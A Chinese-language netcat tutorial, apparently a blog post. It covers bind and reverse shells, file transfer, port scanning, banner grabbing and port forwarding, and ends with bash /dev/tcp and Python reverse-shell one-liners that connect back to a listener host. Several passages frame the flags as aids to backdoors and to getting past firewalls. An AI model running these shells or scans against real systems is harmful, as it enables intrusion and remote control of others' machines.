netcat的使用
NC(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大
基于tcp/ip协议(c/s模型的)的工具.
基本使用
看一个使用场景:
客户端和服务器之间有防火墙, 该防火墙就会阻止客户端主动连接服务器的请求, 但是防火墙只是防止了进入流量, 而没有防止服务器出发的流量, 服务器向外连接客户端, 防火墙的过滤机制并没有过滤.
基础使用方法
创建一个tcp服务器:
# -l 表示监听 -p 指定端口
nc -l -p 8080
创建一个客户端:
# nc [remote_addr] [remote_port]
nc localhost 8080
aaa # 发送的数据
这里仅实现了一个简单的通信系统, 并不能对机器进行命令执行
返回shell使用
创建服务端:
# -e 执行给定的命令
nc -l -p 8080 -e /bin/bash
创建一个客户端:
nc localhost 8080
ls # 在客户端中就可以执行shell命令, 就像在服务器端一样
反向shell
创建服务端:
nc -l -p 8080
ls # 在服务端执行shell命令, 操作客户端
创建一个客户端:
nc localhost 8080 -e /bin/bash
文件传输
使用场景
当目标机器上有一些文件内容, 无法正常下载时, 可以利用nc进行文件传输, 绕过这些限制.
nc中的数据传输使用的标准的输入 输出流, 所以可以直接利用命令行来进行操作.
创建服务端:
# 服务器端接受文件, 当收到文件后, 服务器端自动关闭
nc -l -p 8080 > outfile
创建一个客户端:
nc localhost 8080 < infile
如果此时服务器端并没有准备好连接, 而客户端已经使用nc进行连接, 那么客户端会一直等待.
我们可以设置等待时间:
nc -w3 [ip] [port] 设置等待3s
信息探测
使用场景:
- 目标内网的扫描
可以使用netcat进行内网ip和端口的扫描
-
单独对某个目标进行端口探测
-
对目标的服务banner进行抓取
端口扫描使用方法
nc -v -n -z -w 1 172.17.0.3 1-1000
# nc -v -n -z -w 1 [target_ip] [start_target_port-stop_target_port]
# -v 表示对错误进行详细输出
# -n 不对目标机器进行DNS解析
# -z zero I/O模式, 专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload, 这样做可以加快扫描的速度
# -w 1 超时设置为1秒
也可以指定某一个端口
获取banner信息
端口的banner信息:
显示欢迎信息,比如:Welcome to earth. 除了欢迎,大致还可能表明端口的身份
# 注意没有-z
# 发送一个空字符串
# 当然, 有些有banner信息, 有些没有
echo ' ' | nc -v -n -w 1 172.17.0.3 1-1000
命令参数
-d 后台运行, 常用于后门建立过程 -e 执行某个程序, 常用于后门建立过程 -G 设置网关, 常用于突破内网限制 -g num 路由跳数 -i sec 设置发送每一行数据的时间间隔 -l 监听 -L 监听 当客户端断开, 服务端依旧回到监听状态 -n 设置netcat只识别ip地址, 不进行DNS解析 -o file 设置传输16进制的数据 -p 端口号 -r 设置随机监听端口 -s addr 设置netcat源地址, 用于隐藏自己 -t 回复telnet的请求数据包 -u 设置netcat使用UDP模式 -v 现在错误信息 -w secs 超时 -z 数据包不发送payload
连接转发
如图1不能直接访问3, 但是1可以访问2, 2可以访问3, 如果1要访问3, 就需要通过2来做转发; 比如2,3在一个局域网中.
假设3的ip为192.168.0.3, 有个端口为8080的tcp服务.
在2上运行:
echo nc 192.168.0.3 8080 > forward # 生成脚本文件
nc -l -p 8090 -e "/bin/bash ./forward" # 每次连接运行forward
在1上连接:
nc [2的ip] 8090
反弹shell(bash)
使用场景:
拿到服务器的权限后, 客户想运行shell命令在服务端执行(就像基本使用 > 返回shell使用中的一样), 但是服务器没有办法安装nc.
在服务端执行:
# bash -i >& /dev/tcp/ip/port 0>&1
# ip和port是客户端的ip和起的nc服务的端口
bash -i > /dev/tcp/192.168.0.2/8080 0>&1 2>&1
在客户端执行:
nc -lvp 8080
ls # 执行shell命令, 就相当与在服务端执行
命令解释
bash -i > /dev/tcp/ip/port 0>&1 2>&1
> /dev/tcp/ip/port是0> /dev/tcp/ip/port的简写, 文件描述符标准输入指向文件/dev/tcp/ip/port
Shell 输入/输出重定向 Linux反弹shell(一)文件描述符与重定向 Linux 反弹shell(二)反弹shell的本质
反弹shell(python)
利用python来反弹shell
服务端:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.2",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
格式化后的python代码:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.2",8080))
# 重定向文件描述符
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
# 子进程运行/bin/bash -i, 应该子进程会继承父进程的文件描述符, 所以子进程中文件描述符是修改之后的
p=subprocess.call(["/bin/bash","-i"])
客户端:
nc -lvp 8080
ls # 执行shell命令, 就相当与在服务端执行
跟反弹shell(bash)思路一模一样, 只是用python代码来实现.